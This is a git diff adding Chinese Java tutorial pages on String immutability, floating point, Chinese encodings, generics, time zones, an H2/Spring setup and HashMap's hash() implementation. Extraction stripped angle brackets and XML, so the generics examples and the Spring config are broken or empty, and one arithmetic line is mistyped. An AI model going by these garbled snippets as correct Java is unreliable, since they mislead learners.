+字符串是使用最广泛的数据结构。大量的字符串的创建是非常耗费资源的,所以,Java提供了对字符串的缓存功能,可以大大的节省堆空间。
+
+JVM中专门开辟了一部分空间来存储Java字符串,那就是字符串池。
+
+通过字符串池,两个内容相同的字符串变量,可以从池中指向同一个字符串对象,从而节省了关键的内存资源。
+
+```
+String s = "abcd";
+String s2 = s;
+```
+
+
+对于这个例子,s和s2都表示"abcd",所以他们会指向字符串池中的同一个字符串对象:
+
+![][2]
+
+但是,之所以可以这么做,主要是因为字符串的不变性。试想一下,如果字符串是可变的,我们一旦修改了s的内容,那必然导致s2的内容也被动的改变了,这显然不是我们想看到的。
+
+#### 安全性
+
+字符串在Java应用程序中广泛用于存储敏感信息,如用户名、密码、连接url、网络连接等。JVM类加载器在加载类的时也广泛地使用它。
+
+因此,保护String类对于提升整个应用程序的安全性至关重要。
+
+当我们在程序中传递一个字符串的时候,如果这个字符串的内容是不可变的,那么我们就可以相信这个字符串中的内容。
+
+但是,如果是可变的,那么这个字符串内容就可能随时都被修改。那么这个字符串内容就完全不可信了。这样整个系统就没有安全性可言了。
+
+#### 线程安全
+
+不可变会自动使字符串成为线程安全的,因为当从多个线程访问它们时,它们不会被更改。
+
+因此,一般来说,不可变对象可以在同时运行的多个线程之间共享。它们也是线程安全的,因为如果线程更改了值,那么将在字符串池中创建一个新的字符串,而不是修改相同的值。因此,字符串对于多线程来说是安全的。
+
+#### hashcode缓存
+
+由于字符串对象被广泛地用作数据结构,它们也被广泛地用于哈希实现,如HashMap、HashTable、HashSet等。在对这些散列实现进行操作时,经常调用hashCode()方法。
+
+不可变性保证了字符串的值不会改变。因此,hashCode()方法在String类中被重写,以方便缓存,这样在第一次hashCode()调用期间计算和缓存散列,并从那时起返回相同的值。
+
+在String类中,有以下代码:
+
+```
+private int hash;//this is used to cache hash code.
+```
+
+
+#### 性能
+
+前面提到了的字符串池、hashcode缓存等,都是提升性能的提现。
+
+因为字符串不可变,所以可以用字符串池缓存,可以大大节省堆内存。而且还可以提前对hashcode进行缓存,更加高效
+
+由于字符串是应用最广泛的数据结构,提高字符串的性能对提高整个应用程序的总体性能有相当大的影响。
+
+### 总结
+
+通过本文,我们可以得出这样的结论:字符串是不可变的,因此它们的引用可以被视为普通变量,可以在方法之间和线程之间传递它们,而不必担心它所指向的实际字符串对象是否会改变。
+
+我们还了解了促使Java语言设计人员将该类设置为不可变类的其他原因。主要考虑的是缓存、安全性、线程安全和性能等方面
+
+ [1]: https://www.hollischuang.com/wp-content/uploads/2021/03/16163108328434.jpg
+ [2]: https://www.hollischuang.com/wp-content/uploads/2021/03/16163114985563.jpg
\ No newline at end of file
diff --git a/basics/java-basic/float-amount.md b/docs/basics/java-basic/float-amount.md
similarity index 100%
rename from basics/java-basic/float-amount.md
rename to docs/basics/java-basic/float-amount.md
diff --git a/docs/basics/java-basic/float.md b/docs/basics/java-basic/float.md
new file mode 100644
index 00000000..c1418645
--- /dev/null
+++ b/docs/basics/java-basic/float.md
@@ -0,0 +1,53 @@
+我们知道,计算机的数字的存储和运算都是通过二进制进行的,对于,十进制整数转换为二进制整数采用"除2取余,逆序排列"法
+
+具体做法是:
+
+* 用2整除十进制整数,可以得到一个商和余数;
+* 再用2去除商,又会得到一个商和余数,如此进行,直到商为小于1时为止
+* 然后把先得到的余数作为二进制数的低位有效位,后得到的余数作为二进制数的高位有效位,依次排列起来。
+
+如,我们想要把127转换成二进制,做法如下:
+
+
+
+那么,十进制小数转换成二进制小数,又该如何计算呢?
+
+
+十进制小数转换成二进制小数采用"乘2取整,顺序排列"法。
+
+具体做法是:
+
+* 用2乘十进制小数,可以得到积
+* 将积的整数部分取出,再用2乘余下的小数部分,又得到一个积
+* 再将积的整数部分取出,如此进行,直到积中的小数部分为零,此时0或1为二进制的最后一位。或者达到所要求的精度为止。
+
+
+如尝试将0.625转成二进制:
+
+
+
+但是0.625是一个特列,用同样的算法,请计算下0.1对应的二进制是多少:
+
+
+
+我们发现,0.1的二进制表示中出现了无限循环的情况,也就是(0.1)10 = (0.000110011001100…)2
+
+这种情况,计算机就没办法用二进制精确的表示0.1了。
+
+所以,为了解决部分小数无法使用二进制精确表示的问题,于是就有了IEEE 754规范。
+
+IEEE二进制浮点数算术标准(IEEE 754)是20世纪80年代以来最广泛使用的浮点数运算标准,为许多CPU与浮点运算器所采用。
+
+>浮点数和小数并不是完全一样的,计算机中小数的表示法,其实有定点和浮点两种。因为在位数相同的情况下,定点数的表示范围要比浮点数小。所以在计算机科学中,使用浮点数来表示实数的近似值。
+
+IEEE 754规定了四种表示浮点数值的方式:单精确度(32位)、双精确度(64位)、延伸单精确度(43比特以上,很少使用)与延伸双精确度(79比特以上,通常以80位实现)。
+
+其中最常用的就是32位单精度浮点数和64位双精度浮点数。
+
+IEEE并没有解决小数无法精确表示的问题,只是提出了一种使用近似值表示小数的方式,并且引入了精度的概念。
+
+一个浮点数a由两个数m和e来表示:a = m × b^e。
+
+在任意一个这样的系统中,我们选择一个基数b(记数系统的基)和精度p(即使用多少位来存储)。m(即尾数)是形如±d.ddd...ddd的p位数(每一位是一个介于0到b-1之间的整数,包括0和b-1)。
+
+如果m的第一位是非0整数,m称作规格化的。有一些描述使用一个单独的符号位(s 代表+或者-)来表示正负,这样m必须是正的。e是指数。
\ No newline at end of file
diff --git a/docs/basics/java-basic/gbk-gb2312-gb18030.md b/docs/basics/java-basic/gbk-gb2312-gb18030.md
new file mode 100644
index 00000000..0c68a5f3
--- /dev/null
+++ b/docs/basics/java-basic/gbk-gb2312-gb18030.md
@@ -0,0 +1,15 @@
+三者都是支持中文字符的编码方式,最常用的是GBK。
+
+以下内容来自CSDN,介绍的比较详细。
+
+GB2312(1980年):16位字符集,收录有6763个简体汉字,682个符号,共7445个字符;
+优点:适用于简体中文环境,属于中国国家标准,通行于大陆,新加坡等地也使用此编码;
+缺点:不兼容繁体中文,其汉字集合过少。
+
+GBK(1995年):16位字符集,收录有21003个汉字,883个符号,共21886个字符;
+优点:适用于简繁中文共存的环境,为简体Windows所使用(代码页cp936),向下完全兼容gb2312,向上支持 ISO-10646 国际标准 ;所有字符都可以一对一映射到unicode2.0上;
+缺点:不属于官方标准,和big5之间需要转换;很多搜索引擎都不能很好地支持GBK汉字。
+
+GB18030(2000年):32位字符集;收录了27484个汉字,同时收录了藏文、蒙文、维吾尔文等主要的少数民族文字。
+优点:可以收录所有你能想到的文字和符号,属于中国最新的国家标准;
+缺点:目前支持它的软件较少。
\ No newline at end of file
diff --git a/docs/basics/java-basic/genericity-list-wildcard.md b/docs/basics/java-basic/genericity-list-wildcard.md
new file mode 100644
index 00000000..af2f0945
--- /dev/null
+++ b/docs/basics/java-basic/genericity-list-wildcard.md
@@ -0,0 +1 @@
+`List>` 是一个未知类型的List,而`List` 其实是任意类型的List。你可以把`List`, L`ist`赋值给`List>`,却不能把`List`赋值给 `List`。
diff --git a/docs/basics/java-basic/genericity-list.md b/docs/basics/java-basic/genericity-list.md
new file mode 100644
index 00000000..8f9fb30c
--- /dev/null
+++ b/docs/basics/java-basic/genericity-list.md
@@ -0,0 +1,5 @@
+原始类型List和带参数类型`List`之间的主要区别是,在编译时编译器不会对原始类型进行类型安全检查,却会对带参数的类型进行检查。
+
+通过使用Object作为类型,可以告知编译器该方法可以接受任何类型的对象,比如String或Integer。
+
+它们之间的第二点区别是,你可以把任何带参数的类型传递给原始类型List,但却不能把`List`传递给接受 `List`的方法,因为会产生编译错误。
diff --git a/docs/basics/java-basic/generics-problem.md b/docs/basics/java-basic/generics-problem.md
new file mode 100644
index 00000000..0a99bea7
--- /dev/null
+++ b/docs/basics/java-basic/generics-problem.md
@@ -0,0 +1,42 @@
+
+
+### 一、当泛型遇到重载
+
+ public class GenericTypes {
+
+ public static void method(List list) {
+ System.out.println("invoke method(List list)");
+ }
+
+ public static void method(List list) {
+ System.out.println("invoke method(List list)");
+ }
+ }
+
+
+上面这段代码,有两个重载的函数,因为他们的参数类型不同,一个是`List`另一个是`List` ,但是,这段代码是编译通不过的。因为我们前面讲过,参数`List`和`List`编译之后都被擦除了,变成了一样的原生类型List,擦除动作导致这两个方法的特征签名变得一模一样。
+
+### 二、当泛型遇到catch
+
+如果我们自定义了一个泛型异常类GenericException,那么,不要尝试用多个catch取匹配不同的异常类型,例如你想要分别捕获GenericException、GenericException,这也是有问题的。
+
+### 三、当泛型内包含静态变量
+
+ public class StaticTest{
+ public static void main(String[] args){
+ GT gti = new GT();
+ gti.var=1;
+ GT gts = new GT();
+ gts.var=2;
+ System.out.println(gti.var);
+ }
+ }
+ class GT{
+ public static int var=0;
+ public void nothing(T x){}
+ }
+
+
+答案是——2!
+
+由于经过类型擦除,所有的泛型类实例都关联到同一份字节码上,泛型类的所有静态变量是共享的。
diff --git a/docs/basics/java-basic/generics.md b/docs/basics/java-basic/generics.md
new file mode 100644
index 00000000..2ba7a3ec
--- /dev/null
+++ b/docs/basics/java-basic/generics.md
@@ -0,0 +1,5 @@
+Java泛型( generics) 是JDK 5中引⼊的⼀个新特性, 允许在定义类和接⼜的时候使⽤类型参数( type parameter) 。
+
+声明的类型参数在使⽤时⽤具体的类型来替换。 泛型最主要的应⽤是在JDK 5中的新集合类框架中。
+
+泛型最⼤的好处是可以提⾼代码的复⽤性。 以List接⼜为例,我们可以将String、 Integer等类型放⼊List中, 如不⽤泛型, 存放String类型要写⼀个List接口, 存放Integer要写另外⼀个List接口, 泛型可以很好的解决这个问题。
\ No newline at end of file
diff --git a/docs/basics/java-basic/get-los_angeles-time.md b/docs/basics/java-basic/get-los_angeles-time.md
new file mode 100644
index 00000000..2517a9e5
--- /dev/null
+++ b/docs/basics/java-basic/get-los_angeles-time.md
@@ -0,0 +1,52 @@
+了解Java8 的朋友可能都知道,Java8提供了一套新的时间处理API,这套API比以前的时间处理API要友好的多。
+
+Java8 中加入了对时区的支持,带时区的时间为分别为:`ZonedDate`、`ZonedTime`、`ZonedDateTime`。
+
+其中每个时区都对应着 ID,地区ID都为 “{区域}/{城市}”的格式,如`Asia/Shanghai`、`America/Los_Angeles`等。
+
+在Java8中,直接使用以下代码即可输出美国洛杉矶的时间:
+
+ LocalDateTime now = LocalDateTime.now(ZoneId.of("America/Los_Angeles"));
+ System.out.println(now);
+
+
+
+为什么以下代码无法获得美国时间呢?
+
+ System.out.println(Calendar.getInstance(TimeZone.getTimeZone("America/Los_Angeles")).getTime());
+
+当我们使用System.out.println来输出一个时间的时候,他会调用Date类的toString方法,而该方法会读取操作系统的默认时区来进行时间的转换。
+
+ public String toString() {
+ // "EEE MMM dd HH:mm:ss zzz yyyy";
+ BaseCalendar.Date date = normalize();
+ ...
+ }
+
+ private final BaseCalendar.Date normalize() {
+ ...
+ TimeZone tz = TimeZone.getDefaultRef();
+ if (tz != cdate.getZone()) {
+ cdate.setZone(tz);
+ CalendarSystem cal = getCalendarSystem(cdate);
+ cal.getCalendarDate(fastTime, cdate);
+ }
+ return cdate;
+ }
+
+ static TimeZone getDefaultRef() {
+ TimeZone defaultZone = defaultTimeZone;
+ if (defaultZone == null) {
+ // Need to initialize the default time zone.
+ defaultZone = setDefaultZone();
+ assert defaultZone != null;
+ }
+ // Don't clone here.
+ return defaultZone;
+ }
+
+主要代码如上。也就是说如果我们想要通过`System.out.println`输出一个Date类的时候,输出美国洛杉矶时间的话,就需要想办法把`defaultTimeZone`改为`America/Los_Angeles`
+
+但是,通过阅读Calendar的源码,我们可以发现,getInstance方法虽然有一个参数可以传入时区,但是并没有将默认时区设置成传入的时区。
+
+而在Calendar.getInstance.getTime后得到的时间只是一个时间戳,其中未保留任何和时区有关的信息,所以,在输出时,还是显示的是当前系统默认时区的时间。
\ No newline at end of file
diff --git a/docs/basics/java-basic/h2-db.md b/docs/basics/java-basic/h2-db.md
new file mode 100644
index 00000000..22dfd41c
--- /dev/null
+++ b/docs/basics/java-basic/h2-db.md
@@ -0,0 +1,152 @@
+H2是一个开源的嵌入式(非嵌入式设备)数据库引擎,它是一个用Java开发的类库,可直接嵌入到应用程序中,与应用程序一起打包发布,不受平台限制。
+
+H2与Derby、HSQLDB、MySQL、PostgreSQL等开源数据库相比,H2的优势为:
+* Java开发,不受平台限制;
+* H2只有一个jar包,占用空间小,适合嵌入式数据库;
+* 有web控制台,用于管管理数据库。
+
+接下来介绍Spring+Mybatis+H2的数据库访问实践,参考:https://blog.csdn.net/xktxoo/article/details/78014739
+
+添加H2数据库依赖:
+
+```
+
+ com.h2database
+ h2
+ 1.4.190
+
+```
+
+
+
+H2数据库属性文件配置如下,本文采用内存模式访问H2数据库:
+```
+driver=org.h2.Driver
+# 内存模式
+url=jdbc:h2:mem:testdb;MODE=MYSQL;DB_CLOSE_DELAY=-1
+# 持久化模式
+#url= jdbc:h2:tcp://localhost/~/test1;MODE=MYSQL;DB_CLOSE_DELAY=-1
+```
+
+H2数据库访问的Spring配置文件为:
+
+```
+
+
+
+
+
+
+
+ classpath:config.properties
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+```
+
+初始化数据库的DDL语句文件为:
+```
+CREATE TABLE `user` (
+ `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
+ `name` varchar(100) NOT NULL,
+ `age` int(11) NOT NULL,
+ PRIMARY KEY (`id`)
+);
+```
+
+初始化数据库的DML语句文件为:
+```
+insert into `user` (`id`,`name`,`age`) values (1, 'Jerry', 27);
+insert into `user` (`id`,`name`,`age`) values (2, 'Angel', 25);
+```
+
+编写测试文件,如下:
+
+```java
+/**
+ * Created by Jerry on 17/7/30.
+ */
+@ContextConfiguration(locations = {"classpath:config.xml"})
+@RunWith(SpringJUnit4ClassRunner.class)
+public class Test extends AbstractJUnit4SpringContextTests{
+
+ @Resource
+ UserDAO userDAO;
+
+ @org.junit.Test
+ public void testInsert() {
+
+ int result = userDAO.insert(new User(null, "LiLei", 27));
+
+ Assert.assertTrue(result > 0);
+ }
+
+ @org.junit.Test
+ public void testUpdate() {
+ int result = userDAO.update(new User(2L, "Jerry update", 28));
+
+ Assert.assertTrue(result > 0);
+ }
+
+ @org.junit.Test
+ public void testSelect() {
+ User result = userDAO.findByName(new User(null, "Jerry", null));
+
+ Assert.assertTrue(result.getAge() != null);
+ }
+
+ @org.junit.Test
+ public void testDelete() {
+ int result = userDAO.delete("Jerry");
+
+ Assert.assertTrue(result > 0);
+ }
+
+}
+```
\ No newline at end of file
diff --git a/docs/basics/java-basic/handle-exception.md b/docs/basics/java-basic/handle-exception.md
new file mode 100644
index 00000000..ec5c24d2
--- /dev/null
+++ b/docs/basics/java-basic/handle-exception.md
@@ -0,0 +1,6 @@
+异常的处理⽅式有两种。 1、 ⾃⼰处理。 2、 向上抛, 交给调⽤者处理。
+
+
+异常, 千万不能捕获了之后什么也不做。 或者只是使⽤`e.printStacktrace`。
+
+具体的处理⽅式的选择其实原则⽐较简明: ⾃⼰明确的知道如何处理的, 就要处理掉。 不知道如何处理的, 就交给调⽤者处理。
\ No newline at end of file
diff --git a/docs/basics/java-basic/hash-in-hashmap.md b/docs/basics/java-basic/hash-in-hashmap.md
new file mode 100644
index 00000000..4cc4f7e6
--- /dev/null
+++ b/docs/basics/java-basic/hash-in-hashmap.md
@@ -0,0 +1,255 @@
+你知道HashMap中hash方法的具体实现吗?你知道HashTable、ConcurrentHashMap中hash方法的实现以及原因吗?你知道为什么要这么实现吗?你知道为什么JDK 7和JDK 8中hash方法实现的不同以及区别吗?如果你不能很好的回答这些问题,那么你需要好好看看这篇文章。文中涉及到大量代码和计算机底层原理知识。绝对的干货满满。整个互联网,把hash()分析的如此透彻的,别无二家。
+
+### 哈希
+
+**Hash,一般翻译做“散列”,也有直接音译为“哈希”的,就是把任意长度的输入,通过散列算法,变换成固定长度的输出,该输出就是散列值。**这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,所以不可能从散列值来唯一的确定输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。
+
+所有散列函数都有如下一个基本特性:**根据同一散列函数计算出的散列值如果不同,那么输入值肯定也不同。但是,根据同一散列函数计算出的散列值如果相同,输入值不一定相同。**
+
+**两个不同的输入值,根据同一散列函数计算出的散列值相同的现象叫做碰撞。**
+
+常见的Hash函数有以下几个:
+
+> 直接定址法:直接以关键字k或者k加上某个常数(k+c)作为哈希地址。
+>
+> 数字分析法:提取关键字中取值比较均匀的数字作为哈希地址。
+>
+> 除留余数法:用关键字k除以某个不大于哈希表长度m的数p,将所得余数作为哈希表地址。
+>
+> 分段叠加法:按照哈希表地址位数将关键字分成位数相等的几部分,其中最后一部分可以比较短。然后将这几部分相加,舍弃最高进位后的结果就是该关键字的哈希地址。
+>
+> 平方取中法:如果关键字各个部分分布都不均匀的话,可以先求出它的平方值,然后按照需求取中间的几位作为哈希地址。
+>
+> 伪随机数法:采用一个伪随机数当作哈希函数。
+
+上面介绍过碰撞。衡量一个哈希函数的好坏的重要指标就是发生碰撞的概率以及发生碰撞的解决方案。任何哈希函数基本都无法彻底避免碰撞,常见的解决碰撞的方法有以下几种:
+
+* 开放定址法:
+ * 开放定址法就是一旦发生了冲突,就去寻找下一个空的散列地址,只要散列表足够大,空的散列地址总能找到,并将记录存入。
+* 链地址法
+ * 将哈希表的每个单元作为链表的头结点,所有哈希地址为i的元素构成一个同义词链表。即发生冲突时就把该关键字链在以该单元为头结点的链表的尾部。
+* 再哈希法
+ * 当哈希地址发生冲突用其他的函数计算另一个哈希函数地址,直到冲突不再产生为止。
+* 建立公共溢出区
+ * 将哈希表分为基本表和溢出表两部分,发生冲突的元素都放入溢出表中。
+
+### HashMap 的数据结构
+
+在Java中,保存数据有两种比较简单的数据结构:数组和链表。**数组的特点是:寻址容易,插入和删除困难;而链表的特点是:寻址困难,插入和删除容易。**上面我们提到过,常用的哈希函数的冲突解决办法中有一种方法叫做链地址法,其实就是将数组和链表组合在一起,发挥了两者的优势,我们可以将其理解为链表的数组。
+
+[ ][1]
+
+我们可以从上图看到,左边很明显是个数组,数组的每个成员是一个链表。该数据结构所容纳的所有元素均包含一个指针,用于元素间的链接。我们根据元素的自身特征把元素分配到不同的链表中去,反过来我们也正是通过这些特征找到正确的链表,再从链表中找出正确的元素。其中,根据元素特征计算元素数组下标的方法就是哈希算法,即本文的主角hash()函数(当然,还包括indexOf()函数)。
+
+### hash方法
+
+我们拿JDK 1.7的HashMap为例,其中定义了一个final int hash(Object k) 方法,其主要被以下方法引用。
+
+[ ][2]
+
+上面的方法主要都是增加和删除方法,这不难理解,当我们要对一个链表数组中的某个元素进行增删的时候,首先要知道他应该保存在这个链表数组中的哪个位置,即他在这个数组中的下标。而hash()方法的功能就是根据Key来定位其在HashMap中的位置。HashTable、ConcurrentHashMap同理。
+
+### 源码解析
+
+首先,在同一个版本的Jdk中,HashMap、HashTable以及ConcurrentHashMap里面的hash方法的实现是不同的。在不同的版本的JDK中(Java7 和 Java8)中也是有区别的。我会尽量全部介绍到。相信,看完这篇文章,你会彻底理解hash方法。
+
+在上代码之前,我们先来做个简单分析。我们知道,hash方法的功能是根据Key来定位这个K-V在链表数组中的位置的。也就是hash方法的输入应该是个Object类型的Key,输出应该是个int类型的数组下标。如果让你设计这个方法,你会怎么做?
+
+其实简单,我们只要调用Object对象的hashCode()方法,该方法会返回一个整数,然后用这个数对HashMap或者HashTable的容量进行取模就行了。没错,其实基本原理就是这个,只不过,在具体实现上,由两个方法`int hash(Object k)`和`int indexFor(int h, int length)`来实现。但是考虑到效率等问题,HashMap的实现会稍微复杂一点。
+
+> hash :该方法主要是将Object转换成一个整型。
+>
+> indexFor :该方法主要是将hash生成的整型转换成链表数组中的下标。
+
+#### HashMap In Java 7
+
+ final int hash(Object k) {
+ int h = hashSeed;
+ if (0 != h && k instanceof String) {
+ return sun.misc.Hashing.stringHash32((String) k);
+ }
+
+ h ^= k.hashCode();
+ h ^= (h >>> 20) ^ (h >>> 12);
+ return h ^ (h >>> 7) ^ (h >>> 4);
+ }
+
+ static int indexFor(int h, int length) {
+ return h & (length-1);
+ }
+
+
+前面我说过,`indexFor`方法其实主要是将hash生成的整型转换成链表数组中的下标。那么`return h & (length-1);`是什么意思呢?其实,他就是取模。Java之所以使用位运算(&)来代替取模运算(%),最主要的考虑就是效率。**位运算(&)效率要比代替取模运算(%)高很多,主要原因是位运算直接对内存数据进行操作,不需要转成十进制,因此处理速度非常快。**
+
+那么,为什么可以使用位运算(&)来实现取模运算(%)呢?这实现的原理如下:
+
+> X % 2^n = X & (2^n - 1)
+>
+> 2^n表示2的n次方,也就是说,一个数对2^n取模 == 一个数和(2^n - 1)做按位与运算 。
+>
+> 假设n为3,则2^3 = 8,表示成2进制就是1000。2^3 -1 = 7 ,即0111。
+>
+> 此时X & (2^3 - 1) 就相当于取X的2进制的最后三位数。
+>
+> 从2进制角度来看,X / 8相当于 X >> 3,即把X右移3位,此时得到了X / 8的商,而被移掉的部分(后三位),则是X % 8,也就是余数。
+
+上面的解释不知道你有没有看懂,没看懂的话其实也没关系,你只需要记住这个技巧就可以了。或者你可以找几个例子试一下。
+
+> 6 % 8 = 6 ,6 & 7 = 6
+>
+> 10 & 8 = 2 ,10 & 7 = 2
+
+[ ][3]
+
+所以,`return h & (length-1);`只要保证length的长度是`2^n`的话,就可以实现取模运算了。而HashMap中的length也确实是2的倍数,初始值是16,之后每次扩充为原来的2倍。
+
+分析完`indexFor`方法后,我们接下来准备分析`hash`方法的具体原理和实现。在深入分析之前,至此,先做个总结。
+
+HashMap的数据是存储在链表数组里面的。在对HashMap进行插入/删除等操作时,都需要根据K-V对的键值定位到他应该保存在数组的哪个下标中。而这个通过键值求取下标的操作就叫做哈希。HashMap的数组是有长度的,Java中规定这个长度只能是2的倍数,初始值为16。简单的做法是先求取出键值的hashcode,然后在将hashcode得到的int值对数组长度进行取模。为了考虑性能,Java总采用按位与操作实现取模操作。
+
+接下来我们会发现,无论是用取模运算还是位运算都无法直接解决冲突较大的问题。比如:`CA11 0000`和`0001 0000`在对`0000 1111`进行按位与运算后的值是相等的。 [ ][4]
+
+两个不同的键值,在对数组长度进行按位与运算后得到的结果相同,这不就发生了冲突吗。那么如何解决这种冲突呢,来看下Java是如何做的。
+
+其中的主要代码部分如下:
+
+ h ^= k.hashCode();
+ h ^= (h >>> 20) ^ (h >>> 12);
+ return h ^ (h >>> 7) ^ (h >>> 4);
+
+
+这段代码是为了对key的hashCode进行扰动计算,防止不同hashCode的高位不同但低位相同导致的hash冲突。简单点说,就是为了把高位的特征和低位的特征组合起来,降低哈希冲突的概率,也就是说,尽量做到任何一位的变化都能对最终得到的结果产生影响。
+
+举个例子来说,我们现在想向一个HashMap中put一个K-V对,Key的值为“hollischuang”,经过简单的获取hashcode后,得到的值为“1011000110101110011111010011011”,如果当前HashTable的大小为16,即在不进行扰动计算的情况下,他最终得到的index结果值为11。由于15的二进制扩展到32位为“00000000000000000000000000001111”,所以,一个数字在和他进行按位与操作的时候,前28位无论是什么,计算结果都一样(因为0和任何数做与,结果都为0)。如下图所示。
+
+[ ][5]
+
+可以看到,后面的两个hashcode经过位运算之后得到的值也是11 ,虽然我们不知道哪个key的hashcode是上面例子中的那两个,但是肯定存在这样的key,这就产生了冲突。
+
+那么,接下来,我看看一下经过扰动的算法最终的计算结果会如何。
+
+[ ][6]
+
+从上面图中可以看到,之前会产生冲突的两个hashcode,经过扰动计算之后,最终得到的index的值不一样了,这就很好的避免了冲突。
+
+> 其实,使用位运算代替取模运算,除了性能之外,还有一个好处就是可以很好的解决负数的问题。因为我们知道,hashcode的结果是int类型,而int的取值范围是-2^31 ~ 2^31 - 1,即[ -2147483648, 2147483647];这里面是包含负数的,我们知道,对于一个负数取模还是有些麻烦的。如果使用二进制的位运算的话就可以很好的避免这个问题。首先,不管hashcode的值是正数还是负数。length-1这个值一定是个正数。那么,他的二进制的第一位一定是0(有符号数用最高位作为符号位,“0”代表“+”,“1”代表“-”),这样里两个数做按位与运算之后,第一位一定是个0,也就是,得到的结果一定是个正数。
+
+### HashTable In Java 7
+
+上面是Java 7中HashMap的`hash`方法以及`indexOf`方法的实现,那么接下来我们要看下,线程安全的HashTable是如何实现的,和HashMap有何不同,并试着分析下不同的原因。以下是Java 7中HashTable的hash方法的实现。
+
+ private int hash(Object k) {
+ // hashSeed will be zero if alternative hashing is disabled.
+ return hashSeed ^ k.hashCode();
+ }
+
+
+我们可以发现,很简单,相当于只是对k做了个简单的hash,取了一下其hashCode。而HashTable中也没有`indexOf`方法,取而代之的是这段代码:`int index = (hash & 0x7FFFFFFF) % tab.length;`。也就是说,HashMap和HashTable对于计算数组下标这件事,采用了两种方法。HashMap采用的是位运算,而HashTable采用的是直接取模。
+
+> 为啥要把hash值和0x7FFFFFFF做一次按位与操作呢,主要是为了保证得到的index的第一位为0,也就是为了得到一个正数。因为有符号数第一位0代表正数,1代表负数。
+
+我们前面说过,HashMap之所以不用取模的原因是为了提高效率。有人认为,因为HashTable是个线程安全的类,本来就慢,所以Java并没有考虑效率问题,就直接使用取模算法了呢?但是其实并不完全是,Java这样设计还是有一定的考虑在的,虽然这样效率确实是会比HashMap慢一些。
+
+其实,HashTable采用简单的取模是有一定的考虑在的。这就要涉及到HashTable的构造函数和扩容函数了。由于篇幅有限,这里就不贴代码了,直接给出结论:
+
+> HashTable默认的初始大小为11,之后每次扩充为原来的2n+1。
+>
+> 也就是说,HashTable的链表数组的默认大小是一个素数、奇数。之后的每次扩充结果也都是奇数。
+>
+> 由于HashTable会尽量使用素数、奇数作为容量的大小。当哈希表的大小为素数时,简单的取模哈希的结果会更加均匀。(这个是可以证明出来的,由于不是本文重点,暂不详细介绍,可参考:http://zhaox.github.io/algorithm/2015/06/29/hash
+
+至此,我们看完了Java 7中HashMap和HashTable中对于hash的实现,我们来做个简单的总结。
+
+* HashMap默认的初始化大小为16,之后每次扩充为原来的2倍。
+* HashTable默认的初始大小为11,之后每次扩充为原来的2n+1。
+* 当哈希表的大小为素数时,简单的取模哈希的结果会更加均匀,所以单从这一点上看,HashTable的哈希表大小选择,似乎更高明些。因为hash结果越分散效果越好。
+* 在取模计算时,如果模数是2的幂,那么我们可以直接使用位运算来得到结果,效率要大大高于做除法。所以从hash计算的效率上,又是HashMap更胜一筹。
+* 但是,HashMap为了提高效率使用位运算代替哈希,这又引入了哈希分布不均匀的问题,所以HashMap为解决这问题,又对hash算法做了一些改进,进行了扰动计算。
+
+### ConcurrentHashMap In Java 7
+
+ private int hash(Object k) {
+ int h = hashSeed;
+
+ if ((0 != h) && (k instanceof String)) {
+ return sun.misc.Hashing.stringHash32((String) k);
+ }
+
+ h ^= k.hashCode();
+
+ // Spread bits to regularize both segment and index locations,
+ // using variant of single-word Wang/Jenkins hash.
+ h += (h << 15) ^ 0xffffcd7d;
+ h ^= (h >>> 10);
+ h += (h << 3);
+ h ^= (h >>> 6);
+ h += (h << 2) + (h << 14);
+ return h ^ (h >>> 16);
+ }
+
+ int j = (hash >>> segmentShift) & segmentMask;
+
+
+上面这段关于ConcurrentHashMap的hash实现其实和HashMap如出一辙。都是通过位运算代替取模,然后再对hashcode进行扰动。区别在于,ConcurrentHashMap 使用了一种变种的Wang/Jenkins 哈希算法,其主要目的也是为了把高位和低位组合在一起,避免发生冲突。至于为啥不和HashMap采用同样的算法进行扰动,我猜这只是程序员自由意志的选择吧。至少我目前没有办法证明哪个更优。
+
+### HashMap In Java 8
+
+在Java 8 之前,HashMap和其他基于map的类都是通过链地址法解决冲突,它们使用单向链表来存储相同索引值的元素。在最坏的情况下,这种方式会将HashMap的get方法的性能从`O(1)`降低到`O(n)`。为了解决在频繁冲突时hashmap性能降低的问题,Java 8中使用平衡树来替代链表存储冲突的元素。这意味着我们可以将最坏情况下的性能从`O(n)`提高到`O(logn)`。关于HashMap在Java 8中的优化,我后面会有文章继续深入介绍。
+
+如果恶意程序知道我们用的是Hash算法,则在纯链表情况下,它能够发送大量请求导致哈希碰撞,然后不停访问这些key导致HashMap忙于进行线性查找,最终陷入瘫痪,即形成了拒绝服务攻击(DoS)。
+
+关于Java 8中的hash函数,原理和Java 7中基本类似。Java 8中这一步做了优化,只做一次16位右位移异或混合,而不是四次,但原理是不变的。
+
+ static final int hash(Object key) {
+ int h;
+ return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
+ }
+
+
+在JDK1.8的实现中,优化了高位运算的算法,通过hashCode()的高16位异或低16位实现的:(h = k.hashCode()) ^ (h >>> 16),主要是从速度、功效、质量来考虑的。以上方法得到的int的hash值,然后再通过`h & (table.length -1)`来得到该对象在数据中保存的位置。
+
+HashTable In Java 8
+
+在Java 8的HashTable中,已经不再有hash方法了。但是哈希的操作还是在的,比如在put方法中就有如下实现:
+
+ int hash = key.hashCode();
+ int index = (hash & 0x7FFFFFFF) % tab.length;
+
+
+这其实和Java 7中的实现几乎无差别,就不做过多的介绍了。
+
+### ConcurrentHashMap In Java 8
+
+Java 8 里面的求hash的方法从hash改为了spread。实现方式如下:
+
+ static final int spread(int h) {
+ return (h ^ (h >>> 16)) & HASH_BITS;
+ }
+
+
+Java 8的ConcurrentHashMap同样是通过Key的哈希值与数组长度取模确定该Key在数组中的索引。同样为了避免不太好的Key的hashCode设计,它通过如下方法计算得到Key的最终哈希值。不同的是,Java 8的ConcurrentHashMap作者认为引入红黑树后,即使哈希冲突比较严重,寻址效率也足够高,所以作者并未在哈希值的计算上做过多设计,只是将Key的hashCode值与其高16位作异或并保证最高位为0(从而保证最终结果为正整数)。
+
+### 总结
+
